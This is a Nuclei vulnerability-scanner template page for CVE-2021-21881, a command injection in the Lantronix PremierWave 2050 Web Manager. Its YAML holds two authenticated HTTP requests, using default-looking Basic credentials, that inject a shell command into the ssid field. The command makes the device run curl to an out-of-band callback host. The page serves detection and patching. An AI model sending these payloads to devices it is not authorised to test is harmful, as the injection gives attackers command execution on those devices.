Skip to content
Nuclei Templates

Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection

ID: CVE-2021-21881

Severity: critical

Author: gy741

Tags: cve2021,cve,lantronix,rce,oast,cisco

Description

Section titled “Description”

Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-21881


info:
  name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
  author: gy741
  severity: critical
  description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21881
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21881
    cwe-id: CWE-78
    epss-score: 0.97001
    epss-percentile: 0.99723
    cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: lantronix
    product: premierwave_2050_firmware
  tags: cve2021,cve,lantronix,rce,oast,cisco
variables:
  useragent: '{{rand_base(6)}}'


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic dXNlcjp1c2Vy
        Content-Type: application/x-www-form-urlencoded


        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46UEFTUw==
        Content-Type: application/x-www-form-urlencoded


        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4b0a00483046022100a35d3d401afbadc68031586aada05ff54d4bbcd46771cf2f7317534861a8411c022100cc73ab4b0a57efe778bfa24befe7e4c388699b267c7cd9625c8a5a550a0ed2f9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21881.yaml"

View on Github